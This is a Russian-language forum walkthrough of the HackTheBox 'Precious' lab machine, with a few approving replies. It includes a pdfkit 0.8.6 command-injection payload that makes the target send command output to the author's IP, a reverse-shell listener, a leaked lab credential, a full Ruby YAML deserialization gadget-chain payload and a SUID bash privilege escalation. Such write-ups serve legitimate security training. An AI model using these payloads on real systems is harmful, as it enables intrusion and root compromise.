ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   Прохождение HackTheBox - Precious (Linux, Easy) (https://forum.antichat.xyz/showthread.php?t=1641530)

Trager 09.03.2023 04:39

Приветствую, уважаемые читатели форума
Код:

Codeby
! Сегодня мы пройдём, как мне кажется, самую лёгкую машину на
Код:

HackTheBox
, которая на данный момент вознаграждается поинтами.

Разведка

Начнём с того , что просканируем порты. Используем флаг
Код:

-sC
, чтобы использовать стандартные скрипты,
Код:

-sV
, чтобы определить сервисы открытых портов и
Код:

-sS
, чтобы использовать
Код:

TCP SYN
сканирование на основе полуоткрытых соединений (для этого мы также запускаем nmap с правами суперпользователя):

https://forum.antichat.xyz/attachmen...c996bc0226.png

У нас есть типичный для CTF порт
Код:

22
, который мы скорее всего будем использовать, когда уже получим данные пользователя/рута. И
Код:

80
порт - на нём, как правило, располагается веб-сервер.

Переходим на
Код:

http://10.10.11.189
:

https://forum.antichat.xyz/attachmen...116bcf5cbf.png

Нас тут же редиректит на домен
Код:

precious.htb
. Следовательно, чтобы получить доступ к сайту нам нужно настроить
Код:

/etc/hosts
(подробнее про файл
Код:

/etc/hosts
Вы можете прочитать тут). Внести туда имя домена и
Код:

IP
-адрес машины. Для этого открываем данный файл в консольном редакторе
Код:

nano
с правами суперпользователя:

Bash:


Код:

sudo
nano
/etc/hosts

И вносим туда следующую строку:

Код:


Код:

10.10.11.189 precious.htb
https://forum.antichat.xyz/attachmen...991c223442.png

Теперь переходим на
Код:

http://precious.htb
:

https://forum.antichat.xyz/attachmen...794d4276de.png

На сайте мы можем сконвертировать любую веб-страницу в
Код:

PDF
-файл. Я пробовал эксплуатировать
Код:

OS Command Injection
,
Код:

LFI
,
Код:

RFI
и
Код:

SSRF
, предполагая, что на бэкэнде используются опасные функции, - ничего не вышло:

https://forum.antichat.xyz/attachmen...259ffec8ec.png

Давайте запустим веб-сервер пайтона, чтобы проверить, может ли сервер отправлять свои запросы на нашу рабочую машину:

Bash:


Код:

python3 -m http.server
https://forum.antichat.xyz/attachmen...dd7c3ca844.png

Теперь вводим наш локальный
Код:

IP
-адрес в поле ввода на главной странице
Код:

precious.htb
:

https://forum.antichat.xyz/attachmen...efcccebaa8.png

После отправки запроса веб-сайт предлагает нам скачать
Код:

PDF
-файл, в котором располагается содержимое ссылки (мы её указали в форме):

https://forum.antichat.xyz/attachmen...25d1a0b941.png

Мы можем заставить веб-сервер атакуемой машины отправить
Код:

GET
-запрос на наш веб-сервер, вот только особой выгоды с этого не получить:

https://forum.antichat.xyz/attachmen...d9c474f381.png

Что насчёт самих
Код:

PDF
-файлов? Очевидно, что на сервере есть автоматизированный инструмент, который их генерирует. Есть вероятность того, что его название и версия указаны в метаданных файла. Проверим файл с помощью
Код:

exiftool
:

https://forum.antichat.xyz/attachmen...69135a82d0.png

Видим следующую строку:

Код:

Creator: Generated by pdfkit v0.8.6
То есть используется
Код:

pdfkit
версии
Код:

0.8.6
. Давайте поищем в гугле возможные уязвимости на данный софт:

https://forum.antichat.xyz/attachmen...297e82dfc0.png

Становится понятно, что это и есть ключ к взлому. В
Код:

pdfkit
версии
Код:

0.8.6
есть
Код:

Command Injection
. Данная уязвимость позволяет нам выполнять любые команды от лица пользователя веб-сервера. Теперь давайте разберёмся с эксплуатацией.

На security.snyk.io мы можем найти
Код:

PoC (Proof Of Concept)
уязвимости:

https://forum.antichat.xyz/attachmen...13dc94493f.png

Так как мы передаём данные через
Код:

POST
-параметр
Код:

url
, следовательно, в него нам и нужно класть пэйлоад:

https://forum.antichat.xyz/attachmen...e683e1d577.png

Согласно
Код:

PoC'у
и описанию уязвимости, нам требуется использовать следующий пэйлоад:

Код:


Код:

http://10.10.16.52/?name=%20``
Будем использовать
Код:

curl
, но можно также использовать и сам
Код:

BurpSuite
. Используем опцию
Код:

-X
, чтобы указать, что будет
Код:

POST
-запрос и опцию
Код:

--data-raw
, чтобы указать
Код:

POST
-параметр
Код:

url
:

Bash:


Код:

curl
"http://precious.htb/"
-X POST --data-raw
"url=http://10.10.16.52/?name=%20`whoami`"

Не забудьте закодировать пэйлоад
Код:

url
-параметра в
Код:

URL
-энкод:

Bash:


Код:

curl
"http://precious.htb/"
-X POST --data-raw
"url=http%3A%2F%2F10.10.16.52%2F%3Fname%3D%2520%60whoami%60"

Нам также требуется поднять наш веб-сервер, куда будут приходить
Код:

GET
-запросы (которые содержат результат отработки пэйлоада) с атакуемой машины. Я запустил веб-сервер пайтона с правами суперпользователя, чтобы он работал на
Код:

80
порту. После того, как мы его запустили, отправляем наш пэйлоад. Как можно заметить,
Код:

precious.htb
отправляет нам запрос с результатом работы пэйлоада в
Код:

GET
-параметре
Код:

name
:

https://forum.antichat.xyz/attachmen...f5a9568a52.png

Скорее всего бэкэнд веб-сервера написан на
Код:

Ruby
, так как его пользователь -
Код:

ruby
. Когда мы убедились в том, что
Код:

Command Injection
действительно работает, давайте организуем себе реверс шелл. Крайне рекомендую сервис Online - Reverse Shell Generator. Достаточно вбить
Код:

IP
-адрес и порт машины, куда придёт реверс-шелл, чтобы получить готовый пэйлоад:

https://forum.antichat.xyz/attachmen...eaab0b1fb8.png

Мы знаем, что на сервере используется
Код:

Ruby
, следовательно, логичнее всего использовать реверс шелл через данный язык программирования. Копируем то, что выдал нам
Код:

Reverse Shell Generator
и кладём это в место, которое предназначено для пэйлоада:

Код:


Код:

http://10.10.16.52/?name=%20``
Конечно же, перед этим ставим листенер, например, на
Код:

9898
порт:

Bash:


Код:

nc
-nlvp
9898

Делаем
Код:

URL
-энкод значения
Код:

POST
-параметра
Код:

url
и отправляем запрос:

https://forum.antichat.xyz/attachmen...4c985abda1.png

Отлично, мы залетели на машину. Теперь нам нужно повысить привилегии и получить пользователя.

Взятие пользователя

Немного перебрав различных конфигов, я нашёл скрытый каталог
Код:

.bundle
в домашней директории пользователя
Код:

ruby
. В нем есть файл
Код:

config
. Читаем файл - получаем данные пользователя
Код:

henry
:

https://forum.antichat.xyz/attachmen...6f4a861c0c.png

Код:

henry:Q3c1AqGHtoI0aXAYFH
Подключаемся по
Код:

ssh
к
Код:

precious.htb
:

Bash:


Код:

ssh
henry@precious.htb

https://forum.antichat.xyz/attachmen...1764ad1580.png

Теперь можем забирать флаг пользователя -
Код:

user.txt
.

Взятие суперпользователя

Используем
Код:

sudo -l
, чтобы узнать, что мы можем запустить от лица суперпользователя:

https://forum.antichat.xyz/attachmen...c4742a552a.png

Мы можем запустить следующую команду при этом использовав пароль от
Код:

henry
:

Bash:


Код:

sudo
/usr/bin/ruby /opt/update_dependencies.rb

Давайте глянем, что у нас в файле
Код:

/opt/update_dependencies.rb
. Там следующий код:

Ruby:


Код:

# Compare installed dependencies with those specified in "dependencies.yml"
require
"yaml"
require
'rubygems'
# TODO: update versions automatically
def
update_gems
(
)
end
def
list_from_file
YAML
.
load
(
File
.
read
(
"dependencies.yml"
)
)
end
def
list_local_gems
Gem
:
:
Specification
.
sort_by
{
|
g
|
[
g
.
name
.
downcase
,
g
.
version
]
}
.
map
{
|
g
|
[
g
.
name
,
g
.
version
.
to_s
]
}
end
gems_file
=
list_from_file
gems_local
=
list_local_gems
 
gems_file
.
each
do
|
file_name
,
file_version
|
gems_local
.
each
do
|
local_name
,
local_version
|
if
(
file_name
==
local_name
)
if
(
file_version
!=
local_version
)
puts
"Installed version differs from the one specified in file: "
+
local_name
else
puts
"Installed version is equals to the one specified in file: "
+
local_name
end
end
end
end

В гугле мы можем найти множество источников про атаку десериализации
Код:

YAML
(
Код:

YAML Deserialization Attack
). В данном случае она эксплуатируется через
Код:

YAML.load()
. Я нашел следующую статью, где эксплуатируется похожий код с
Код:

YAML.lopad()
- Ruby Vulnerabilities: Exploiting Open, Send, and Deserialization…. Мы можем проверить пэйлоад из статьи:

YAML:


Код:

:payload
:
-
!ruby/class
'Gem::SpecFetcher'
-
!ruby/class
'Gem::Installer'
-
!ruby/object:Gem::Requirement
requirements
:
!ruby/object:Gem::Package::TarReader
io
:
!ruby/object:Net::BufferedIO
io
:
!ruby/object:Gem::Package::TarReader::Entry
read
:
0
header
:
aaa
debug_output
:
!ruby/object:Net::WriteAdapter
socket
:
!ruby/object:Gem::RequestSet
sets
:
!ruby/object:Net::WriteAdapter
socket
:
!ruby/module
'Kernel'
method_id
:
:
system
git_set
:
date
>
>
/tmp/rce9b.txt
method_id
:
:
resolve

Создаём файл
Код:

dependencies.yml
в каталоге
Код:

/tmp
и просто копируем туда содержимое пэйлоада. Затем запускаем скрипт
Код:

update_dependencies.rb
с помощью прав суперпользователя и интерпретатора
Код:

ruby
:

https://forum.antichat.xyz/attachmen...866000ee66.png

Пэйлоад предполагает то, что после его отработки создастся файл
Код:

rce9b.txt
с владельцем и группой файла
Код:

root:root
:

https://forum.antichat.xyz/attachmen...376b195cfe.png

Всё пошло по правильному сценарию. Следовательно, в
Код:

YML
-файле нам нужно класть пэйлоад в
Код:

git_set
:

YAML:


Код:

:payload
:
-
!ruby/class
'Gem::SpecFetcher'
-
!ruby/class
'Gem::Installer'
-
!ruby/object:Gem::Requirement
requirements
:
!ruby/object:Gem::Package::TarReader
io
:
!ruby/object:Net::BufferedIO
io
:
!ruby/object:Gem::Package::TarReader::Entry
read
:
0
header
:
aaa
debug_output
:
!ruby/object:Net::WriteAdapter
socket
:
!ruby/object:Gem::RequestSet
sets
:
!ruby/object:Net::WriteAdapter
socket
:
!ruby/module
'Kernel'
method_id
:
:
system
git_set
:

method_id
:
:
resolve

Теперь нужно подумать, как нам взять рута. В целом, мы можем просто скопировать флаг
Код:

root.txt
в
Код:

/tmp
с помощью следующего пэйлоада:

YAML:


Код:

:payload
:
-
!ruby/class
'Gem::SpecFetcher'
-
!ruby/class
'Gem::Installer'
-
!ruby/object:Gem::Requirement
requirements
:
!ruby/object:Gem::Package::TarReader
io
:
!ruby/object:Net::BufferedIO
io
:
!ruby/object:Gem::Package::TarReader::Entry
read
:
0
header
:
aaa
debug_output
:
!ruby/object:Net::WriteAdapter
socket
:
!ruby/object:Gem::RequestSet
sets
:
!ruby/object:Net::WriteAdapter
socket
:
!ruby/module
'Kernel'
method_id
:
:
system
git_set
:
cp /root/root.txt /tmp/; chmod 777 /tmp/root.txt
method_id
:
:
resolve

Но в таком случае мы не получим полноценный
Код:

root
-доступ. Можем выставить
Код:

SUID
-бит на
Код:

/bin/bash
, чтобы запустить командную оболочку
Код:

bash
от имени пользователя
Код:

root
(подробнее про
Код:

SUID
-биты Вы можете прочитать тут).

Приводим
Код:

YML
-файл к следующему виду:

YAML:


Код:

:payload
:
-
!ruby/class
'Gem::SpecFetcher'
-
!ruby/class
'Gem::Installer'
-
!ruby/object:Gem::Requirement
requirements
:
!ruby/object:Gem::Package::TarReader
io
:
!ruby/object:Net::BufferedIO
io
:
!ruby/object:Gem::Package::TarReader::Entry
read
:
0
header
:
aaa
debug_output
:
!ruby/object:Net::WriteAdapter
socket
:
!ruby/object:Gem::RequestSet
sets
:
!ruby/object:Net::WriteAdapter
socket
:
!ruby/module
'Kernel'
method_id
:
:
system
git_set
:
chmod u+s /bin/bash
method_id
:
:
resolve

И запускаем
Код:

ruby
-скрипт с правами суперпользователя:

https://forum.antichat.xyz/attachmen...4e24f3b782.png

Теперь запускаем
Код:

bash
с опцией
Код:

-p
, чтобы запустить командную оболочку от лица пользователя
Код:

root
. Про то, как повышать привилегии с помощью программ, которые имеют
Код:

SUID
-бит, Вы можете ознакомиться на GTFOBins:

https://forum.antichat.xyz/attachmen...29dda21deb.png

https://forum.antichat.xyz/attachmen...7b98f2e094.png

Теперь мы с чувством выполненного долга можем прочитать
Код:

root.txt
:

https://forum.antichat.xyz/attachmen...d3b735b232.png

Друзья, большое спасибо, что прочитали данную статью. Пожалуйста, укажите в комментариях, если я допустил какие-либо ошибки или есть какие-нибудь неточности

szybnev 09.03.2023 14:22

Блин, реально крутая статья. Мне очень зашло. Автор большой молодец!

truexe 09.03.2023 23:31

Написано Easy, если это изи - то я боюсь представить что там на Харде)) автор красавчик - очень интересно!

szybnev 10.03.2023 11:48

Цитата:


truexe сказал(а):

Написано Easy, если это изи - то я боюсь представить что там на Харде)) автор красавчик - очень интересно!


HTB весь такой. Написано изи, а целая команда мидлов решить таск не может))


Время: 12:35